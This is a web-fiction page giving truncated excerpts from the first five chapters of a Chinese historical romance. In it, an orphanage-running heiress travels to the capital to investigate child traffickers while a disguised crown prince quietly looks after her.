《散财卿卿小札》 1. 散财 《散财卿卿小札》全本免费阅读 阳春三月。 草长莺飞,桃花蕊吐着芳信,柳树梢头含翠,碧空万里,是个绝好的天气。 还未过正午,市井里人来人往,琳琅商铺先后开了门,原本空旷的长街逐渐熙攘起来。走卒商贩们有的挑着扁担,有的背着竹筐,皮肤黝黑,精瘦的人,嗓门却脆亮得紧。行走来去,叫卖声不断,颇有“你方唱罢我登场”的势头。 街角处,高家老字号包子铺前排起长龙,沿边儿上站着一个落单的女娃娃。 也不知是谁家的娃娃,头顶揪着一对羊角辫,手里攥着一串糖葫芦,小肚子吃得圆溜溜的,嘴角还沾着一小块山楂皮,总不能是没人要的孩子。 但听这时,高掌柜借着一双长筷敲打边笼,大声吆喝道:“起笼!” 诺大的竹编蒸笼盖子被掀开,白色水汽瞬间腾起,犹如雾霭般徐徐四散开来,一时辨不清左右。 待到白雾散尽,方才站着的娃娃已不见踪影。 “囡囡!囡囡!” 一名年轻妇人拨开人群,神色慌张地跑近。经过高家包子时,瞥见地上摔碎的冰糖葫芦,忽地意识到什么,紧接着跌坐在地上,哭喊起来。 那妇人失魂落魄,连滚带爬地去拽路过行人垂下的袴脚,嘴里反复叨念道。 “囡囡……我的囡囡……过路的大哥行行好,谁看见我家囡囡了……?” …… 泰和年间,天下大治,商贾富足,百姓乐业。 独牙贩猖獗数年,屡禁不止,举国上下幼童略卖频发,失踪幼童下落不明。家中怀有稚子者,诚惶诚恐,外出不能,然杯弓蛇影,离散繁多。当朝皇帝忧心之久矣,寝食不得安。 远在京城千里之外,有一小城名曰临舟。临舟城内,流浪稚儿皆有去处,免受流离之苦,收容去处唤作“慈幼院”。流童来此,可果腹,可穿衣,亦可读书识字,或习得技艺傍身。 说起慈幼院的主人,也算大有来头,乃是宋员外宋家大小姐,宋沛宁。 宋家家大业大,在临舟城算得上数一数二的大户,就连临舟知府见了宋家家主,怕也只有低头伏小的份儿。不想家中混进来个逆女,惯爱散财不计得失,今日施粥明日赠衣,似是想着法儿地要把她爹辛苦赚的银子全再还回去。 宋家老爷宋怀德气得直拍大腿,却也爱女心切,前脚嗔怪两句,后脚自己个儿便觉得声大了,讪讪来到女儿身侧,笑着求和道:“我女银子可够花?莫要委屈了自己。” 于此,宋女放开手脚,越做越大。起先只是收留流童在府,后来干脆在城郊起了别院,院门牌匾题字“慈幼院”,三个大字苍劲有力,据说是宋家家主心疼腰子,力透纸背亲手所写。 - 慈幼院这厢正热闹着,稚子顽皮,在院子里你追我赶地嬉闹,银铃般的笑声被门窗掩去半分,传进屋里仍然清晰可闻。 宋沛宁坐在屋里头,翻着账房这月送来的账本,就听窗柩蓦地传来一阵哀嚎,仿佛门窗都跟着晃了晃。不用想也知道,必是院里的幼子不小心又将蹴鞠踢到了她的窗柩上。 窗外肇事孩童自知闯了祸,噤声半刻,未见宋小娘子出屋责怪,遂抛在脑后,又自顾自玩去了。 宋沛宁的贴身婢女竹叶听见动静,在这时端着刚沏好的春茶走了进来。 掀开珠帘,笑盈盈地说道:“女公子看累了吧?小心看多伤眼,不如出门走走,外面天气甚好呢。” 被竹叶这么一说,宋沛宁还真觉得这会儿是有些乏倦了。她抬头看了看窗外,春景盛好,芳草萋萋,日头温和不烈,于是撂下账目,随竹叶一起出了屋。 刚走到院中,一群玩闹的孩子叽叽喳喳地围了过来,献宝似的争抢着与她说话。 “阿宁阿姊,刚才把蹴鞠踢上你窗是二十六哩!” “您一定要好好教训他!二十六心虚,见你出来就跑了!!” “胡说!二十六兄不是那种人!” 男孩儿八九岁最不安生,上房揭瓦狗都嫌,宋沛宁扫过一排灰扑扑的小脸,还真没见到二十六的人影。 府上收留的孩子全都是以数字为名的,二十六,便是第二十六个入府的孩子。平日里二十六虽然爱玩闹,但对宋沛宁一向是十分敬重的。 换句话说,整个府上的流童,皆是将宋佩宁看得十分重的。 “……阿姊……阿姊!” 孩童们七嘴八舌地告着状,院子另一头被检讨的二十六终于气喘吁吁地跑回来。他的手上拿着一个花环,鲜花娇艳,一看便知是刚刚摘下的。 二十六走近,耷拉着脑袋,认错道:“阿姊对不起,蹴鞠是我踢的,可我也不是故意。这是我新编的花环,特意送给阿姊,给阿姊赔不是。” 方才那声响确实不小,若是换成旁人,八成是要被吓到,但宋沛宁早就习以为常,不仅没被吓到,屁股都没挪一下,并不打紧。 于是宋沛宁伸手抚了抚二十六的额头,笑着接过花环,说:“不打紧,花环很好,阿姊欢喜。” 二十六随即展颜笑开,别的孩子见了,也要阿宁阿姊摸摸头,全都凑了上来。宋沛宁心里好笑,手上动作却没停,每个小脑袋瓜挨个搓了个遍。 正和院子里的孩子玩着,婢女竹叶上前呈来一封信。信是京城百里加急送到临舟的,落款是小一。 宋沛宁敛了几分笑,起身回屋,找了个清静的地方将信拆开。 收留小一时,慈幼院还没落成,那年宋沛宁十三岁,小一十四岁。因为比宋沛宁年岁大,小一如兄长般照顾宋沛宁多些,如今宋沛宁十六岁,小一也长成十七岁的小少年。去年起,小一离开慈幼院,心高志远地去了京城闯荡。 人虽在京城,却不忘恩情,时有信件往来。不久前,小一来信说,京城繁华热闹,街上无处可归的乞童却也比别处多上许多。 在他与一名乞童交谈后得知,他们有的生来无父无母,有的是半路没了父母,但多数,都是被略走后卖到某处,几经周折,便再找不到回家的路。他们听人说,京城有钱人多,吃得好,自然要饭也要得多,这才赶路来的。 不过,那群不长心的牙贩似乎也看到这点,很快将目光转向京城,此后不光街上的乞儿变少了,有家的幼童也有接连失踪的,各家各户有孩子的心照不宣,全都大门紧闭了起来。 小一在后来的回信里说,他再也没有见过那个曾与他有过短暂的交谈的乞儿,打听过才知晓,估计不幸被牙贩盯上,又被卖去了别的地方。 信写到最后,小一大胆揣测道:“那群牙贩做事利落,毫无痕迹,从不拖泥带水。想来不是散户,与你我当年被掠时手段无二。” 写到此处,墨笔断了,空了数行,才继续着墨。 “是小一逾矩,本想邀女公子亲临京城,相救流童 2. 散财 《散财卿卿小札》全本免费阅读 目光相接,二人正对峙着,宋沛宁身后跑来一个五大三粗的彪形大汉。 这大汉一把络腮胡,手提菜刀满身血污,神色却慌张,跑至巷里,心急喊道:“囡囡,囡囡!你说你跑到哪里去了?可害阿爹担心要命!” 始终未发一言的女童闻声,从宋沛宁身后探出头,露出一对黑溜溜儿水灵的大眼睛。见是自己阿爹,立马小跑了出来,娇小的娃娃只够抱住魁梧壮汉的大腿,奶声奶气地叫了声“阿爹”。 大汉把手里的菜刀一撂,将囡囡整个抱起来,方才凶神恶煞的劲头全然消去,两三下逗得怀里的小娃娃咯咯笑个不停。 囡囡这时回头,跟大汉指了指站在一旁看傻了的一对少男少女,说道:“阿爹,刚才阿兄说要送我回家哩。” 大汉听闻,放下囡囡,警惕地打量起两人。这年头风声鹤唳,谁知道面前站着的是人是鬼。 半晌,才拱手说道:“多谢二位。在下长街铺子卖猪肉的屠夫张,我看二位面生,不知是哪家府上的公子小姐?” 屠夫张的话里有话,拐着弯说他们不似好人。 宋沛宁听出弦外之音,正要解释自己与这少年人并未同路,身侧的人先她一句,慢条斯理地开口说道。 “原是张掌柜,囡囡天真可爱,张掌柜可要看好了。” 宋沛宁身子一凛,转头看向身侧的少年,这下她是人是鬼还真有点解释不清了,赶紧摇头兼摆手,就听张屠夫鼻子里冷哼一声。弯腰捡起杀猪的菜刀,一手拉着囡囡就要离开,不愿与他多费口舌。 囡囡跟着阿爹,小碎步紧着倒腾勉强跟上,阿爹很快察觉,脚步紧跟着缓了下来。 就如少年所言,囡囡天真可爱,还不能听出大人话里的玄机,她边和阿爹走,边频频回头和少年挥挥手,似乎很欢喜他。欢喜如此说话慢悠悠,清明光艳,温和沉静的阿兄。 待到屠夫张走远,宋沛宁才晃过神来,方才屠夫张来势汹汹,她只顾护着囡囡,不知何时,那少年人竟站在了她的前面。 “女公子!女公子!” 巷外人声嘈杂,竹叶带着一行宋家侍卫急匆匆地找来,吵吵嚷嚷地,把宋沛宁围了一圈又一圈。 竹叶都快急哭了,眼角挂着泪花,她还以为才来京城第一天,就把女公子弄丢了,左看右看好几遍,确认女公子是否有伤着。 宋沛宁安慰竹叶道:“我没事,刚才隐约看见有人抱起娃娃走了,情急之下才追出来,结果发现是乌龙一场。” 竹叶哽咽:“女公子,日后……日后可不能如此吓竹叶了……” 竹叶是真的吓着了,说完这话,一直抽泣个不停。 可这也不能怪竹叶小题大做,宋沛宁六岁那年被牙子抱走过,当时轰动整个临舟城,宋家这么一大家子,险些就这么全散了。后来,好不容易把宋沛宁找回来,破衣烂衫的,就如沿街乞讨的乞儿一般,宋老爷子心疼,一夜之间像是苍老了好几岁。 与亲生骨肉生生分离的苦,苦于杳无音讯,苦于生死未卜,眼不见摸不着,其中煎熬只有经历过一遭才知道。 因此,宋沛宁的安危在宋家格外看重,女公子若是丢了,此行的全部人马估计都要无颜再面对家主,恨不得以死赔罪。 还好,女公子找到了,女公子没事就好。 一群人破涕为笑,乱哄哄地将宋沛宁迎出巷子,有去前面开路的,有在旁边起哄的,还有壮着胆子上前问,“女公子,我们今晚吃什么”的,就是手边没有锣鼓,不然也要被他们拿来敲一敲。 宋沛宁在这么一群人簇拥里,没忍住回了头。 巷子里,早已不见长衫少年的身影。 - 宋沛宁此次来京城,宋老爷子起初是不同意的。 是宋沛宁自己个儿铁了心非要去,在亲爹跟前磨了好几天,说破了嘴皮子,撒娇打滚全用了,好不容易宋老爷子才松的口。 整个宋府的人都知道,宋大小姐最得老爷的疼爱,何止宋沛宁不过是想去一趟京城,就是想要的是天上的星星月亮,老爷子也会为了爱女拼上一把老身子骨去捞。 京城一行,宋沛宁本意从简,只带了竹叶和贴身侍卫,不想大动干戈。然而就在临行当日,原定的三人之行,变为浩浩荡荡的十来人,随行的车马泊在宽平的宋府大门口。 宋沛宁本想推辞,转念想到若是这时拒绝,阿爹极有可能顺着话头反悔了,只好不做声地带着一行人马出发,先收下这泼天的父爱再说。 侍卫中为首的名叫裴钱霍,他爹裴不廖是宋家的掌事,也是宋怀德的左膀右臂。裴钱霍从小在宋府长大,和宋沛宁是光腚娃娃的交情,原本裴钱霍很是聪慧,爱好摆弄算盘上的珠子,和他爹一般精明。直到宋府突遭变故,宋沛宁走丢了,裴钱霍也跟着变了,狠了心扔下算盘改去学武,离开了临舟。等到裴钱霍学成归来,再也不似从前软糯的模样。 除了裴钱霍,随行者中多数为宋府院内原有的守卫,以及慈幼院里年长些的少男少女,全是自发请愿同行的。 许是真应了阿爹那句“人多势众,莫要让人误会了宋家的闺女好欺负”,一路行至京城十分顺利。可等到进了京城就不同了,“人多势众”须得改写为“树大招风”,一行人又有些太过惹眼了。 宋沛宁盘算着,既然暂时没找见小一,不如以退为进,先在京郊选一处宅子落脚,白天里便派裴钱霍去打听了。 另外,宋沛宁还与随行们交代,如若有小二或掌柜套近乎,问起“何故来京?”,只管推说是“陪女公子出门游玩,小住几日便回了。” 若对方继续问起:“如今世道不太平,你家女公子如此年轻,家主不曾忧心?” 便回:“家主甚是忧心,于此,随行人马才如此之多。” 一行人里,许多一辈子都未出过临舟城,来到京城难免兴奋好奇,这么回答倒也挑不出蹊跷。再者道理说通了,即便看着招摇,好歹省去不少打草惊蛇的麻烦。 不知不觉日头擦了黑,裴钱霍也在关城门前赶了回来。 来到京城第一顿,必然要吃上顿好的犒劳众人。客栈掌柜热络,给指了一间街角的老招牌,铜锅涮肉。 于是,这不多不少的十来号人,饿死鬼上身似地涌进店家,还差点吓坏了掌柜。等各找位置坐下,一楼大堂坐得满满当当,人声喧哗。铜锅烧得快,一盏茶的功夫锅子就热了,堂内热气袅袅,肉香萦绕,众人动了筷子,大快朵颐。 宋沛宁与裴钱霍坐一桌,新下锅的羊肉熟了,裴钱霍先夹了一块放进宋沛宁的碟子里。两人闲聊着,神色放松,对话声被掩在更加嘈杂的市井之下,外人也听不大清楚。 商铺外人来人往,行脚商走街串巷,一 3. 散财 《散财卿卿小札》全本免费阅读 那串糖葫芦宋沛宁没有吃。 她把它带回客栈,别在朝西开着的窗柩上。过了一宿,糖衣就化了,屋里起了甜腻的糖浆味,没注意什么时候让竹叶给丢了,不过也没追究。 “故人”到底是谁,宋沛宁认认真真想了许久。连家里逢年过节要走的亲戚都想起来了,最终也还是只记得小一在京城。 小一性格直爽,不爱藏着掖着,托人传信这种事绝不像他做的,况且既已写信叫她来了,若是真的当街遇见,作何不直接相认。 ……可如果不是小一,小一去哪了? 如果不是小一,那个所谓故人,是敌还是友? - 白日里,裴钱霍为了在京郊选上一处合适的宅子,整日跑动,十分忙碌。 选一个能在京城落脚的宅子是为一件大事,半点怠慢不得。一要足够宽敞,屋子数要足够多,不仅能装得下十几名随行,还要为日后收留新的流童做准备。二是要足够隐蔽,未来流童逐渐多起来了,这样才能更安全。 要求提得多了,便也就难找。裴钱霍去打听宅子,宋沛宁在京中闲来无事,想着做戏做全套,很没有良心地,真的四处游玩起来。 见到好看的铺子进去逛逛,遇到红火的茶楼酒馆也进去坐坐,但凡是好山好水好去处,全都去瞧瞧。 宋沛宁收起从临舟带来的衣裙,穿上京中成衣铺子里最新的式样,梳起发髻,换了穿戴,几番折腾下来,真添了些许京城少女的神韵。 相比较临舟城女子的吴侬软语,京城女子的气质更加英气洒脱,装束比起临舟繁缛的样式要简洁。不管是临舟的样式,还是京城的样式,宋沛宁都很是喜欢。 京中的饮食习惯也与临舟不同,口味偏咸,这让吃着甜口临舟菜长大的宋沛宁吃不大习惯。不过,本着初来乍到,一切好奇,尽管与家乡口味不同,宋沛宁也吃得很好。 表面上,“那个从临舟城来的富家女公子又出门采买了”,实际上宋沛宁也不是一门心思在游玩。 一日,宋沛宁从闹市街的成衣铺子里出来,看见正对面墙角处坐着一个衣衫褴褛的小乞丐。 据她这几日的观察,京中走动的孩童不太多,仿佛都在避讳出门,但乞儿也并不如小一信中所言一般随处可见,她停留几日,今日还是第一次见到落难的乞儿。 宋沛宁给他买了几张烧饼,上前与他攀谈。 “许是女公子才来京城不了解。” 小乞丐谢过宋沛宁,拿起烧饼大口吃了起来,边吃边说道:“几个月前,就是开春那时节吧,京城里闻声赶来的乞丐确实多,后来城里闹起牙子,都是要命的事,慢慢传开了,谁还敢来?宁可饿两顿肚子,起码死不了,只要人还会喘着气,保不齐下一顿吃点好的。” 小乞丐说完,扬起手里吃到一半的烧饼,满足地笑了笑。 宋沛宁问:“那牙子呢?在京城可还多?” 乞丐吃得腮帮子鼓溜溜儿的,快速嚼了两下,回答:“偶尔有,却不如从前多了。说到这个,还得归功于我们太子殿下。这事本来归知府管,是太子殿下说牙子肆虐不容忽视,向皇上呈了奏折,亲揽了此事。十天不到,不仅抓到数名牙贩,还救到许多被掠走的孩童,京城这才好不容易消停了。” “太子殿下?” “是啊,太子殿下虽为少年储君,但年少有为,已是深得民心。据说殿下惯常微服出巡,是为忧民之忧,扰民之扰,行事十分低调,几乎没人知道殿下容貌……指不定啊,太子殿下就曾与你我擦肩而过过呢……” 乞丐所见,皆为寻常百姓以为的表面,殊不知朝堂内部暗潮涌动,这场风波仅是暂作停歇,尚未结束。 当朝宰相方祁,一人之下万人之上,占尽阴险狡诈,好死不死在父王面前油嘴滑舌,哄得老帝王开心,地位十分稳固。方祁舒服日子过够了,总图谋着搞出些更舒服的事情来,损他利己,祸害百姓王朝。 前些时日,云翎成天佯装不懂政事的稚嫩太子,亲去宰相府上讨教学问。东一句“方大人作何感想”,西一句“方大人且听学生说说”,接着长篇大论一通胡诌。有事没事地叨扰在方祁身边,省得他一清静就憋闷出个坏事来。 云翎贵为太子,自是说不得,赶不得。缠得方祁老儿耳朵长茧,心尖生刺,不胜其扰,险些告饶。 不成想这一回没等开口送神仙,神仙自己走了。 太子爷变脸太快,昨儿个还在他府上吹胡子瞪眼非要争个所以然来,今儿就像换了个人。早朝时见到方祁,云翎唇畔含笑,阴恻恻地夸赞好几句“方大人贤明”,把方大人都夸害臊了,起了一身鸡皮疙瘩。 方祁心里犯嘀咕,立马派人悄悄跟上云翎,看他到底在搞什么名堂。 探子跟了一天,临近宵禁才气喘吁吁地回来,单膝在地两手抱拳启禀主上:“太子爷今日逛完东城逛西城,逛完西城,去了北街和南巷。进出书局一次药局两次胭脂铺五次,不过什么也没买,停在闹市口跟乞丐逗了会儿子鸟,之后去茶楼坐了三两时辰,期间未见什么人,太子爷茶水喝得有点多,茅房去了两次,其中一次是……” 方祁起初还仔细听,后面越听得恼,一股子熟悉的烦躁感直冲脑门。于是急忙抬手,示意属下不要再说了。 云翎这小兔崽子如此反常,肯定是没憋好屁。 方宰相凝神,思虑再三,下令加派京城巡逻人手,以免又让云翎给摆一道。 京城连夜加紧布防,第二日清晨,城内巡逻的卫兵成群结队,约莫是平日里的三倍。什么小偷小摸的,为虎作伥的,作奸犯科的,全都老实了,不敢当街横行叫嚷。 - 东宫太子殿外,一只信鸽扑棱几下,发出“咕咕”声响,飞入金丝编成的鸟笼。 婢女赶来,一双青葱般娇嫩的手卸下绑在信鸽腿上的密信,装在银制托盘里。而后起身端起银盘,娓娓走进殿中。 “殿下,宫外又传来的密信了。” 殿内,伏在案前写字的云翎闻声抬起头来,整装坐好,展开成卷的密信。 密信简短,只一句话。 “城中无事,女公子一切安好。” 如今京城牙子泛滥,此前虽捉拿几名牙贩落网,但略卖幼童仍旧偶有发生,说明京城并非绝对安全。 云翎那日故意溜得方祁的眼线满城跑,猜想方祁多疑,定会坐不住,下令加强巡逻防他。城中太平了,宋沛宁来此云游也安全,正中云翎下怀。 云翎颔首,盯着手里的字条良久,仿佛能从字里行间瞧见女公子的模样似的。半晌后,自己缓缓笑了起来。 他这一笑,温文尔雅,仪表翩翩,清润少年郎。 - 几日后。 褪去初到的新鲜感,宋沛宁游玩的劲头开始打蔫。 究其原因,连吃多日京中吃食, 4. 散财 《散财卿卿小札》全本免费阅读 药壶坐在炉子上烧着,草堂内,浓郁的汤药味混着一缕淡淡的茗茶清香,一老一少轻声交谈。 “女公子只是不习水土,身体并无大碍。倒是你,慌慌张张地抱了个小娘子一路找到我这里来,也不怕街坊四邻要怎么说?” “先生教训的是,晚辈一时心急,当时没能思虑周全。” “女公子的婢女可跟来了?” “原本是跟着的,只是脚力不如我,跟着跟着……便跟丢了,现下也不知落在何处了。” 老者一听,脸色微变,立马命身后的学徒赶紧去寻。回过头,瞥见这惹事之人神情自若,手拿一把烧焦了的蒲扇,心无旁贷,专心盯着汤药的火候。 老者叹气,身子往竹编的摇椅上一倚,摇椅跟着微微晃悠起来。 “这女公子又不是本地人,你与她何时有的交情?” 云翎摇着蒲扇的手一顿,晃过神来,忽然想起什么,转而问道:“先生,您说女公子不习水土,女公子是不是想家了?” 答非所问,显然刚才根本没听他说话。老先生哂了他一眼,也故意不回答。 老先生姓黄,全名黄毕淳,早年是在宫中做御医的。老来想享几天清福,请辞出了宫,在京中开了一家医馆,顺道带些学徒。 黄毕淳德高望重,不仅医术精通,说起学问来也甚是通透。云翎对先生一直十分敬重。 云翎与宫里别的皇子不同,他幼年不在宫中,于民间长大,身上的烟火气比较重,出了宫门便也没有太多皇子的架子。 长者为尊,自然由他做晚辈之礼,所以二人谈起话来,听着更像是长辈对晚辈的教诲。 - 宋沛宁醒过来的时候,发现自己躺在一间陌生的屋子里。 鼻腔内充斥着草药味,视线快速扫了一圈周遭,还没反应过来,一旁被小药徒寻着的竹叶察觉,哭丧的小脸终于缓和些许,走到床边来。 “女公子,你醒了。”竹叶舒了口气,露出笑容,“这里是医馆,黄昏时,女公子当街晕了过去,是一位好心的过路人将女公子送来此的。” 宋沛宁听罢,揉着昏沉沉的头稍稍坐起身来。她顺着竹叶的话回想,当时强忍着腹痛与囡囡玩了一下午,好不容易等到囡囡回去,实在撑不住了这才倒在了那少年賊人面前。 是那贼人送她来的医馆吗? 思及此,宋沛宁回过神,问道:“竹叶,你可看见那好心人模样了?” 竹叶茫然地摇了摇头,“回女公子。当时天色已有些昏暗,竹叶没看清。只记得是个约莫与女公子相仿的小郎君,身影瞅着瘦弱,力气却意外的大哩。轻轻松松就抱起了女公子,直奔向了医馆,竹叶空手空脚都被甩在后头了……” 门外传来在这时传来三两下叩门声,一个学徒模样的小药童正在门外候着,待听见屋子里有说话声才下楼取了热乎的饭菜重新端上来。 小药童十分有礼,端着食盘停在门外没有冒进,恭敬地说道:“师父让我守在这,替他老人家传话。师父说,女公子病得不重,不过是水土不服之症,只消好好修养不日便可恢复。刚巧我们医馆也到饭时,厨房大娘做好菜,便给女公子也捎了一份。女公子吃了饭才好喝药,还希望女公子勿要嫌怪。” 宋沛宁在床上不方便起身,只好遥遥谢道,“多谢小师父,睡了一觉刚巧饿了,也代我多谢你师父招待。” 药童闻言,向屋内微微欠了欠身,将食盘交给竹叶后,便合门离去了。 一觉醒来,胃里虽然不如先前翻涌难受,却也实在没什么胃口。宋沛宁本不想吃,作势要躺回榻上,竹叶担心饭菜凉了,女公子吃了更不好,走近桌旁故意惊喜地叫道:“女公子,医馆的饭菜看着甚是可口呢,好像是我们临舟的菜!甜粥青菜,配了两个白白胖胖的素包子,全是女公子爱吃的,女公子要不要先尝一口?” 宋沛宁自从来了京,还尚未再吃过一顿家乡菜,被竹叶这么一说,果真平添了几分食欲。 随竹叶下了地,坐在桌前,起初没抱什么期待,想着就算京城的厨娘饭菜做得再好,也不如临舟当地做得地道。恹恹拾起汤匙抿了一口粥,随后瞳孔轻轻睁大。 眼下停在京城的日子也不算久了,整个京城里多大的厨子她都吃过,这一顿却是最合她胃口的一顿。 - 堂下,天色晚了,医馆逐渐没有了客人。黄毕淳靠着他那老竹摇椅上,摇着蒲扇喝着茶水偷闲。 竹叶从楼上端着吃干净的空盘子走下来,见到黄大夫笑盈盈地,鞠躬一礼谢道:“多谢大夫,我家女公子吃过饭,精神了许多。眼下天色不早了,我们先回,也不多打扰您休息。” 黄毕淳拱拱手笑着回道:“都是应该的。” 而后从藤椅上站起身,接过食盘顺手放到一边,示意竹叶随他去抓药。黄大夫说女公子病得不重,只是强撑太久才晕了过去,他开了三天的剂量,三天后再来复诊,若是无事,也不必再吃了。 二人在楼下谈完话,竹叶又向大夫行了一礼,转身上楼接女公子。 再多一会儿,宋沛宁穿戴好走下了楼,她的目光先是默默将医馆正堂寻了一圈。想到厨房该是设在后院,这么寻也是无果,就收回了视线。 结了诊金,因她们是医馆最后离开的病人,黄大夫一直将她们送至医馆外。 犹豫再三,宋沛宁还是没忍住向黄大夫开了口,“敢问大夫,医馆的厨娘可是临舟人?” 黄毕淳似是早知她要这么问,笑了两声,说道:“在下土生土长的京城人,倒是今天新来的厨娘曾在临舟呆过几年,不知饭菜可还合女公子的胃口?” 原是这么一回事,宋沛宁颔首,便也笑着回道:“不瞒您说,小女子正是临舟人,不久前才迁到的京城,今晚这餐久违地合乎胃口。” 黄毕淳闻言笑着点了点头,随后提议道:”女公子今日昏迷,本就是缘于不习水土,导致的脾胃不合。若女公子不嫌弃,在下可以日日差人将饭菜送到女公子府上,这样也能帮助女公子恢复得快些。” 宋沛宁一时犹豫,心想是否太过于麻烦黄大夫了,就见黄毕淳不在意地摆摆手,像是看出了她的疑虑,进一步说道:“不打紧,若是女公子过意不去,食费照结便好。” 听到黄毕淳如此说,宋沛宁这才安心答应了下来,谢过大夫,转身上了马车。 等到宋沛宁离开,后院里那个今日新来的“厨娘子”围着围裙,探头探脑地现出了身。 “走了吗?”云翎抻着脖子问道。 黄毕淳回头瞥了他一眼,目光切切,人都走远了,仍止不住地朝大门的方向望。 今日之前,太子殿下还是一袭白衣翩翩少年郎,只是轮到这会儿再看,太子殿下举手投足间多少沾了些许滑稽。 云翎今日,亲手为那女公子煮了白粥,炒了青菜,现包了素包子。怕赶在女公子醒来前吃不上,慌手慌脚动作飞快,面颊上残留一道干了的面粉印子还没来得及擦。 黄毕淳没眼看,觉得太子殿下今儿个忒像贤惠能干的小媳妇,往日里太子殿下沉稳冷静,盛气凌人的伟岸形象似乎跟着应声倒塌。 于是收回视线,自顾自着手打烊,在云翎剪不断的留恋目光中,“砰”地一下关上了医馆的大门。 皮笑肉不笑地说:“老臣打烊了,太子殿下请回,明日赶早吧。” 云翎回过神,笑着“哎”了一声,紧跟着带起一阵轻快的风,小跑着回厨房送围裙去了。 云翎虽贵为太子储君,却是自小颠沛离宫,与陛下感情最疏离的皇子。 陛下年轻时雄心勃勃,为争夺天下,稳固朝局,难 5. 散财 《散财卿卿小札》全本免费阅读 医馆派来日日送饭的小药童名叫阿映。 许是黄毕淳是太医出身的缘故,教导的学徒都极为守规矩。阿映也同样,每日兢兢业业,提着医馆里那个用了多些年略微泛旧的檀木食盒,按时出现在宋沛宁的客栈门前。别说耽搁半日,连半刻都从未拖过。 医馆送来的吃食很好,其实若要仔细推敲,便会发现精致过了头。 前两日宋沛宁还在病中,忌荤腥,送来的是清粥小青菜。菜色虽然清淡,味道却是十分可口。到了第三日,估摸着宋沛宁的身子好转些了。送来的吃食也起了变化,须得更加花费些功夫,有糯米鸡、清蒸排骨、炒四季豆。 样样可口回甘,吃得宋沛宁摇头晃脑,碗碟眼见着空了,手里的筷子还犹豫着放不下。 厨娘子真乃神人也,精准预测,实力拿捏,道道都是宋沛宁平日里最爱吃的。 一连吃三日,宋沛宁原本小巧伶俐的脸颊肉眼可见的圆润起来,更别提胃痛的毛病,早被忘在脑后,提不起这茬了。 第四日,宋沛宁按照与黄大夫约定的,登门复诊。 三日前还是病怏怏我见犹怜的病美人,今日再见容光焕发。宋沛宁从小做过乞丐,与普通闺阁女子不同,性格直爽活泼,人前爱说笑,惯不拘小节,笑声很是清脆。 等待黄大夫来看诊的空隙,已与常来送饭的学徒阿映交谈起来。 这些时日下来的照面,她与阿映也有些相熟了。阿映原本是来京乞丐的流童,是被黄老先生捡回医馆的。可惜医馆太小,收容不了太多孩子,师父看他肯吃苦耐劳,当初一同来京的乞丐里只留下了他一个。 宋沛宁知道阿映身世后,同情他,也生出几许命运相似,惺惺相惜之感,心中更与他亲近几分。 宋沛宁向阿映拍着胸脯说:“若是你有过去的朋友,想寻暂时落脚之所,尽管同我说,我来收留他!” 阿映听闻,表情大喜,但转念想到什么,眼神又黯淡下去。许是思及师父平时教诲,收起孩童的天性,垂下眼脸规矩谢道:“多谢女公子记挂。” 正相谈着,黄毕淳打发完前堂的病人,急匆匆地赶来。 即便宋沛宁自己不知道,她早在踏进医馆的第一日就成了皇亲国戚的关系户,但黄毕淳心中有数,哪能让太子殿下的人等呢。 黄毕淳坐在宋沛宁对面,将号脉用的软枕放在二人中间的小桌上,拿出年轻时那套礼仪,请女公子伸出手腕。 这套规矩做了一辈子,做得惯是行如流水,就差跪下禀报太子妃吉人自有天相,如今已是完全康复了。 那日宋沛宁病中虚弱,精神不佳,今日倒是精神很足。一双灵动的大眼睛,仿佛对周遭事物全部好奇,看了一圈,又重新笑盈盈地看回黄毕淳。 黄毕淳颔首,说道:“恭喜女公子,病症痊愈,也未留下病根,往后不必吃药了。” 宋沛宁也颔首,笑着回答道:“多谢黄大夫妙手回春。” 今日一看宋沛宁,身上的市井气莫名与太子有些相似,黄毕淳默默地想着,却也没有说破,只是笑着向宋沛宁点头回礼。 既然女公子的病完全养好了,于情于理便也没道理继续麻烦医馆送饭了。 不过不是宋沛宁贪嘴,是考虑到她拖家带口的十余张临舟胃,她还带着一个不情之请。 缓了缓神,宋沛宁不与黄毕淳兜圈子,开门见山,直言说道:“看得出黄大夫您人好,定不会嫌我得寸进尺。实不相瞒,我是其实还有一事相求的。想我来到京城,是预备在京城长住,原是临行时未思虑周全,若是长住,家中还是有一名合乎全家胃口的厨娘最好。可大夫医馆那位厨娘,自是不能夺人所爱,但想着向黄大夫打听,那位厨娘子是否还有与她手艺一般好的亲戚朋友,如愿意来我宅子干活,我保证绝不会亏待她。” 黄毕淳听完,面上是和善地答应了,心里却暗叫不妙。女公子这请求表面上不难,可能称她心意的厨娘子太难找。 毕竟太子殿下万里挑一,全天下仅此一人呢。 - 与此同时,裴钱霍在城郊的宅子也选好了。 新宅什么都合适,足够僻静,房屋也多。只是有一点,宅子空的年头有些久了,庭院里杂草丛生,重新归置起来似乎要花费些时日。 宋沛宁随裴钱霍一齐去京郊看过一次,也的确如裴钱霍所说。好在他们人多,大家齐心协力紧着张罗些,说不定很快就能搬进去了。不然再漫无目的地找下去也未必能寻见更合适的,于是宅子的事情便这么定了下来。 这一行人中除了裴钱霍,要数小五、小六、小七与宋沛宁最熟。 当初在临舟,小五六七分别先后进的慈幼院,三个人年纪差不多,勾肩搭背火速狼狈为奸。小男孩正是调皮捣蛋的时候,动不动气得宋怀德老爷子吹鼻子瞪眼,但中间有宋沛宁这么个小大人护着,也是深说不得。到最后无可奈何,只是见了连连摇头,调侃这三个小泼皮是“揭瓦竹马三人组”。 三个竹马相伴长大,形影不离,感情好得不得了。当然对宋沛宁也实心实意,好得不得了。 宋沛宁养病这几日,身边只有竹叶照顾起居,其余人全都去城郊帮忙了。白天里太清净,等一到傍晚后,又有些太吵。 揭瓦三泼皮怕女公子无聊,每次他们一回来,都要去找宋沛宁说一场话才好安心睡下。 不同于裴钱霍每日公事公办,报告工事进度,这三位小调皮蛋只会淘气扯皮,裴掌事吩咐过,不得随意进女公子房间,于是便横七竖八地堵在女公子寝室的门外。 闹嚷嚷地说:“女公子,今日院里的草都除净啦,小七在碎草垛里打滚,滚得衣服上全是草屑,洗也洗不净,让裴掌事狠狠说了一通!!” 提起一起干活时的趣事,一群人禁不住哄堂大笑起来。 小五从笑声中抬起头,细心询问:“女公子,您喜欢什么花,回头我去买点花种,播在锄好的院地里种上。今夏一定群芳斗艳,好看极了!” 